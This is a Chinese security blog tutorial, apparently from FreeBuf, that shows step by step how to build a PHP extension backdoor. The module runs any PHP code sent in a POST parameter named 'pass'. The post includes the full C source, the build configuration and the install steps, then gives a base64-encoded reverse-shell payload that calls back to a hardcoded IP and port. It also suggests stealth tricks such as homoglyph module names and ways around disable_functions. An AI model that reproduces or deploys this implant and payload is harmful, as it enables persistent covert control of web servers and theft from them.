* 本文原创作者 knpewg85942,本文属于 FreeBuf 原创奖励计划,禁止转载。
本文仅用于学习和研究之目的,任何用于非法入侵活动与作者和 Freebuf 无关!
看到 Freebuf 小编发表的用这个隐藏于 PHP 模块中的 rootkit,就能持久接管服务器文章,很感兴趣,苦无作者没留下 PoC,自己研究一番,有了此文
PHP 是一个非常流行的 web server 端的 script 语言. 目前很多 web 应用程序都基于 php 语言实现。由于 php 是个开源软件并易于扩展,所以我们可以通过编写一个 PHP 模块 (module 或者叫扩展 extension) 来实现一个 Backdoor。 本文就简单介下如何一步步编写一个简单的 php 动态扩展后门。
出于教学目的,这个动态扩展后门的功能设计比较简单:
1). 通过过滤用户提交的特定变量来启动 Backdoor.
2). 直接执行用户提交的 php 代码.
对于 1)中过滤用户提交的变量有两种方法
方法 1:
修改 SAPI 的 input_filter 或者是 treat_data. 你可以是 hook 后再执行 php 的原始代码, 也可以直接替换原始函数 ,具体介绍,请参考《 http://xfocus.net/articles/200705/920.html 》
方法 2:
从 php 内建的数组里获取变量(即从 php 内核中获取变量),这也是本文所要用到的方法
结合 0×01 中 php 后门的设计,本文中要实现的后门功能为:
只要 php 解释器加载了这个扩展,那么对于每一次 http POST 请求,这个扩展都会拦截,检查一下是否有 pass 参数,如果有,则执行 pass 参数的值中的 php 代码
本文用最快的 (不是最标准的,标准的扩展一般还会单独写. h 的头文件) 的方式来建立一个简单的 php 扩展,共计两个文件,一个是编译配置文件 config.m4, 一个是后门扩展源码 hacker.c
config.m4 文件用于指定正在开发的扩展在类 unix 系统下构建时支持的选项,指定此扩展需要哪些库以及哪些源文件;使用 GNU autoconf ( http://www.gnu.org/software/autoconf/manual/ )语法编写。 phpize 会根据 config.m4 的配置自动生成编译相关文件(如下图,就是我们常见的 configure 之类的,然后就可以./configure && make &&make install)
- PHP_ARG_ENABLE(hacker, 0, 0)
- PHP_NEW_EXTENSION(hacker, hacker.c, $ext_shared)
就两行,很简单,这里做个解释
PHP_ARG_ENABLE
含有有三个参数,
第 1 个参数是我们扩展的名字,这里为 hacker
第 2 个参数是我们运行./configure 脚本时显要指定示的内容,这里没有配置,即为 0
第 3 个参数是我们在调用./configure –help 的 时候要指定显示的帮助信息,这里也没有配置,为 0
PHP_NEW_EXTENSION
- PHP_NEW_EXTENSION(hacker, hacker.c, $ext_shared)
第 1 个参数是模块名字,这里为 hacker
第 2 个参数表示的是编译模块需要的源文件名称 ,这里为 hacker.c
如果我们的扩展使用了多个文件,便可以将这多个文件名罗列在函数的参数里,不同源文件之间以空格隔开, 比如:
- PHP_NEW_EXTENSION(sample, sample.c sample2.c sample3.c, $ext_shared)
第 3 个参数表示的是编译的形式,这里的 $ext_shared 参数用来声明这个扩展不是一个静态模块,而是在 php 运行时动态加载的。
代码比较简单,主要有以下:
zend_module_entry 结构体定义,必须
ZEND_GET_MODULE 编译加载模块并返回 zend_module_entry 的指针,必须
模块运行时函数声明,标准的扩展都会在. h 的都文件中声明,这里就在. c 的源代码中一起声明了
模块运行时函数定义
具体代码:
- #include "php.h"
- //模块运行时函数声明
- PHP_RINIT_FUNCTION(hacker);
- //zend_module_entry 结构体定义
- zend_module_entry hacker_module_entry = {
- #if ZEND_MODULE_API_NO >= 20010901
- STANDARD_MODULE_HEADER,
- #endif
- "hacker", //模块名,可以考虑用同形异义字, php -m 可以查询到
- NULL, //导出函数结构体hacker_functions,这里设置为NULL
- NULL, //PHP_MINIT(hacker) 模块初始化,这里没有用到,设置为NULL
- NULL, //PHP_MSHUTDOWN(hacker) 模块清理, 这里没有用到,设置为NULL
- PHP_RINIT(hacker), //运行时初始化,这里用到了,下面会着重讲解
- NULL, //PHP_RSHUTDOWN(hacker) 运行时清理,没有用到,设置为NULL
- NULL, //PHP_MINFO(hacker)处理phpinfo中的模块信息,没有用到,设置为NULL
- "1.0", //模块版本
- STANDARD_MODULE_PROPERTIES
- };
- #ifdef COMPILE_DL_HACKER
- ZEND_GET_MODULE(hacker);
- #endif
- //模块运行时函数定义
- //只要php解释器加载了这个模块,每个php请求时,都执行该函数
- PHP_RINIT_FUNCTION(hacker)
- {
- char* method = "_POST"; // 要过滤的变量,这里为$_POST ,因为一般情况下POST内容不被服务器记录
- char* secret_string = "pass"; // 特定参数名,有点类似于菜刀的一句话密码,根据参数名做到特定条件下触发后门
- zval** arr; //指向指针的指针
- char* code;
- //在全局作用域(&EG(symbol_table))下收缩$_POST 变量,找到之后将指针值赋给arr
- if (zend_hash_find(&EG(symbol_table), method, strlen(method) + 1, (void**)&arr) != FAILURE) {
- HashTable* ht = Z_ARRVAL_P(*arr); //使用宏Z_ARRVAL_P获取数组的值,因为$_POST是个数组
- zval** val;
- //在数组$_POST中查找参数名为pass的值,如果找到,则将值赋给val
- if (zend_hash_find(ht, secret_string, strlen(secret_string) + 1, (void**)&val) != FAILURE) { // 搜索hash表中期望的参数
- code = Z_STRVAL_PP(val); // 使用宏Z_STRVAL_PP找到的参数值
- zend_eval_string(code, NULL, (char *)"" TSRMLS_CC); //执行代码,也即变量$_POST[pass]的值
- }
- }
- return SUCCESS;
- }
代码解释补充
- #include "php.h"
php.h, 位于 PHP 主目录。这个文件包含了绝大部分 PHP 宏及 API 定义。编写 php 扩展必备,需要安装 php 开发库,以 centos7 php5.5 为例
- yum install php5 - devel
zend_module_entry 是编写 php 动态加载模块必须注册的一个结构体,hacker_module_entry 是结构体名字,命名规范为: 模块名_module_entry, 来解释一下这个结构体:
- #
- if ZEND_MODULE_API_NO >= 20010901 STANDARD_MODULE_HEADER,
- #endif
依据 ZEND_MODULE_API_NO 是否大于等于 20010901,这个结构体需要不同的定义格式。20010901 大约代表 PHP4.2.0 版本,所以我们现在的扩展几乎都要包含 STANDARD_MODULE_HEADER 这个元素了
在 php 生命周期中, ZendEngine 首先要初始化 module,每个 module 中定义的 PHP_MINIT_FUNCTION 函数作为初始化代码 (ModuleInit) 都会被执行一次,而 PHP_RINIT_FUNCTION 函数则是在每次页面被请求的时候 (RuntimeInit) 都会执行一次。 因此对 php 函数的 hook,设置 php 环境变量, 对 user input 的过滤,都可以根据需要在这两个函数中进行. 本文扩展后门就是在 RuntimeInit 时候对变量进行 hook。 然后在 PHP_MSHUTDOWN_FUNCTION 和 PHP_RSHUTDOWN_FUNCTION 中进行相应的清理. 而作为 Backdoor,PHP_MINFO_FUNCTION 函数对我们则没什么必要,可以把这里设置为 NULL。
有关 Z_STRVAL_PP Z_STRVAL_P Z_STRVAL 的解释,请参考: http://m.php.cn/write/910.html
- centos7 x64
- php5.4
需事先安装好 phpize
1) 先运行 phpize,生成编译配置文件
2)./configure && make && make test
3) make install
默认安装在 / usr/lib64/php/modules/, 当然你也可以用–prefix 指定安装目录
重启 httpd 服务
使用 php -m 查看是否模块加载成功
至此,php 扩展后门加载成功,下面就需要客户端发送触发代码,触发后门执行
在 github 上找到一个 php 反弹后门代码:
https://github.com/XiphosResearch/exploits/blob/master/LotusCMS/back_python.php
修改以下反弹 IP 和端口,然后在除去换行符,再进行 base64 编码,最后处理如下:
- eval(base64_decode('CiRjYmhvc3QgPSAnMTAuMS4xMDAuMyc7IAokY2Jwb3J0ID0gJzMxMzM0JzsgCmVjaG8gInsrfSBVc2luZyAiLiRjYmhvc3QuIjoiLiRjYnBvcnQuIiBhcyBjYWxsYmFjay4uLlxueyt9IERyb3BwaW5nIHNoZWxsLi4uXG4iOwokc2hlbGwgPSAiSXlFdmRYTnlMMkpwYmk5d2VYUm9iMjR5Q2lNZ1kyOWthVzVuT2lCMWRHWXRPQW9qSUZObGJHWWdSR1Z6ZEhKMVkzUnBibWNzSUVSaFpXMXZibWx1WnlCU1pYWmxjbk5sSUZCVVdTNEtJeUJ5YlNkeklITmxiR1lnYjI0Z2NYVnBkQ0E2TXdvaklGUlBSRTg2Q2lNZ01Ub2dRV1JrSUdOeWVYQjBid29qSURJNklFRmtaQ0J3Y205amJtRnRaU0J6Y0c5dlpncHBiWEJ2Y25RZ2IzTUthVzF3YjNKMElITjVjd3BwYlhCdmNuUWdjSFI1Q21sdGNHOXlkQ0J6YjJOclpYUUthVzF3YjNKMElHTnZiVzFoYm1SekNncHphR1ZzYkcxelp5QTlJQ0pjZURGaVd6QnRYSGd4WWxzeE96TTJiVWR2ZENCeWIyOTBJSGxsZEQ5Y2VERmlXekJ0WEhKY2JpSWdJeUJ1WldWa2VpQmhjMk5wYVFvS1pHVm1JSEYxYVhSMFpYSW9iWE5uS1RvS0lDQWdJSEJ5YVc1MElHMXpad29nSUNBZ2IzTXVkVzVzYVc1cktHOXpMbkJoZEdndVlXSnpjR0YwYUNoZlgyWnBiR1ZmWHlrcElDTWdkVzVqYjIxdFpXNTBJR1p2Y2lCbmIyZHZjMlZzWm1SbGMzUnlkV04wQ2lBZ0lDQnplWE11WlhocGRDZ3dLUW9LWkdWbUlISmxkbVZ5YzJVb1kySm9iM04wTENCalluQnZjblFwT2dvZ0lDQWdkSEo1T2dvZ0lDQWdJQ0FnSUhWdVlXMWxJRDBnWTI5dGJXRnVaSE11WjJWMGIzVjBjSFYwS0NKMWJtRnRaU0F0WVNJcENpQWdJQ0FnSUNBZ2FXUWdQU0JqYjIxdFlXNWtjeTVuWlhSdmRYUndkWFFvSW1sa0lpa0tJQ0FnSUdWNFkyVndkQ0JGZUdObGNIUnBiMjQ2Q2lBZ0lDQWdJQ0FnY1hWcGRIUmxjaWduWjNKaFlpQjFibUZ0WlM5cFpDQm1ZV2xzSnlrS0lDQWdJSFJ5ZVRvS0lDQWdJQ0FnSUNCemIyTnJJRDBnYzI5amEyVjBMbk52WTJ0bGRDaHpiMk5yWlhRdVFVWmZTVTVGVkN3Z2MyOWphMlYwTGxOUFEwdGZVMVJTUlVGTktRb2dJQ0FnSUNBZ0lITnZZMnN1WTI5dWJtVmpkQ2dvWTJKb2IzTjBMQ0JwYm5Rb1kySndiM0owS1NrcENpQWdJQ0JsZUdObGNIUTZDaUFnSUNBZ0lDQWdjWFZwZEhSbGNpZ25ZV0p2Y25RNklHTnZibTVsWTNScGIyNGdabUZwYkNjcENpQWdJQ0IwY25rNkNpQWdJQ0FnSUNBZ2IzTXVaSFZ3TWloemIyTnJMbVpwYkdWdWJ5Z3BMQ0F3S1FvZ0lDQWdJQ0FnSUc5ekxtUjFjRElvYzI5amF5NW1hV3hsYm04b0tTd2dNU2tLSUNBZ0lDQWdJQ0J2Y3k1a2RYQXlLSE52WTJzdVptbHNaVzV2S0Nrc0lESXBDaUFnSUNCbGVHTmxjSFE2Q2lBZ0lDQWdJQ0FnY1hWcGRIUmxjaWduWVdKdmNuUTZJR1IxY0RJZ1ptRnBiQ2NwQ2lBZ0lDQjBjbms2Q2lBZ0lDQWdJQ0FnYjNNdWNIVjBaVzUyS0NKSVNWTlVSa2xNUlNJc0lDSXZaR1YyTDI1MWJHd2lLUW9nSUNBZ0lDQWdJRzl6TG5CMWRHVnVkaWdpVUVGVVNDSXNJQ2N2ZFhOeUwyeHZZMkZzTDNOaWFXNDZMM1Z6Y2k5elltbHVPaTl6WW1sdU9pOWlhVzQ2TDNWemNpOXNiMk5oYkM5aWFXNDZMM1Z6Y2k5aWFXNG5LUW9nSUNBZ1pYaGpaWEIwSUVWNFkyVndkR2x2YmpvS0lDQWdJQ0FnSUNCeGRXbDBkR1Z5S0NkaFltOXlkRG9nY0hWMFpXNTJJR1poYVd3bktRb2dJQ0FnZEhKNU9nb2dJQ0FnSUNBZ0lITnZZMnN1YzJWdVpDaHphR1ZzYkcxelp5a0tJQ0FnSUNBZ0lDQnpiMk5yTG5ObGJtUW9KMXg0TVdKYk1Uc3pNbTBuSzNWdVlXMWxLeUpjY2x4dUlpdHBaQ3NpWEhneFlsc3diVnh5WEc0aUtRb2dJQ0FnWlhoalpYQjBJRVY0WTJWd2RHbHZiam9LSUNBZ0lDQWdJQ0J4ZFdsMGRHVnlLQ2R6Wlc1a0lHbGtMM1Z1WVcxbElHWjFZMnQxY0NjcENpQWdJQ0IwY25rNkNpQWdJQ0FnSUNBZ2NIUjVMbk53WVhkdUtDY3ZZbWx1TDJKaGMyZ25LUW9nSUNBZ1pYaGpaWEIwSUVWNFkyVndkR2x2YmpvS0lDQWdJQ0FnSUNCeGRXbDBkR1Z5S0NkaFltOXlkRG9nY0hSNUlITndZWGR1SUdaaGFXd25LUW9nSUNBZ2NYVnBkSFJsY2lnbmNYVnBkSFJwYm1jc0lHTnNaV0Z1ZFhBbktRb0taR1ZtSUcxaGFXNG9ZWEpuY3lrNkNpQWdJQ0JwWmlCdmN5NW1iM0pyS0NrZ1BpQXdPaUFLSUNBZ0lDQWdJQ0J2Y3k1ZlpYaHBkQ2d3S1FvZ0lDQWdjbVYyWlhKelpTaHplWE11WVhKbmRsc3hYU3dnYzNsekxtRnlaM1piTWwwcENncHBaaUJmWDI1aGJXVmZYeUE5UFNBaVgxOXRZV2x1WDE4aU9nb2dJQ0FnYldGcGJpaHplWE11WVhKbmRpa0siOwokeCA9IGZvcGVuKCIvdG1wL3giLCAidysiKTsKZndyaXRlKCR4LCBiYXNlNjRfZGVjb2RlKCRzaGVsbCkpOwpmY2xvc2UoJHgpOwplY2hvICJ7K30gU2hlbGwgZHJvcHBlZC4uLiBUcmlnZ2VyaW5nLi4uXG4iOwpzeXN0ZW0oInB5dGhvbiAvdG1wL3ggIi4kY2Job3N0LiIgIi4kY2Jwb3J0KTsKZGllKCd7K30gZ290IHNoZWxsPycpOyAvLyBwYXlsb2FkIHNob3VsZCBoYXZlIHJtJ2QgaXRzZWxmCgo='));
使用 burpsuite 发送 POST 请求,参数为 pass,值为上述 eval(base64_decode 那一串值
成功反弹 shell
本文所涉及的 php 扩展后门是相对比较简单的,只是为了演示教学之目的。
如果系统禁用了 eval 等函数,还需要通过在后门中加入模块初始化函数 (PHP_MINIT_FUNCTION),动态修改 php.ini 以达到绕过 disable_function 的目的, 另外,为了更好地隐藏自身,还需要在伪装性上下点功夫,比如利用同形异义字欺骗用户的眼睛,比如使得模块名不在 php -m 中显示等,当然这是后话,希望后续能有这样的文章出现。
- http: //www.gnu.org/software/autoconf/manual
- http: //www.cunmou.com/phpbook/2.5.md
- http: //www.cnblogs.com/beatzeus/p/6085366.html
- http: //www.cunmou.com/phpbook/5.1.md
- http: //www.cunmou.com/phpbook/17.3.md
- https: //github.com/ForrestX386/tcp_killer
- http: //php.webtutor.pl/en/2001/07/07/zend_get_module/
- http: //www.cnblogs.com/bqrm/archive/2012/10/12/2721440.html
- http: //m.php.cn/write/910.html
- http: //xfocus.net/articles/200705/920.html
* 本文原创作者 knpewg85942,本文属于 FreeBuf 原创奖励计划,禁止转载。
来源: http://www.tuicool.com/articles/YZzmAbq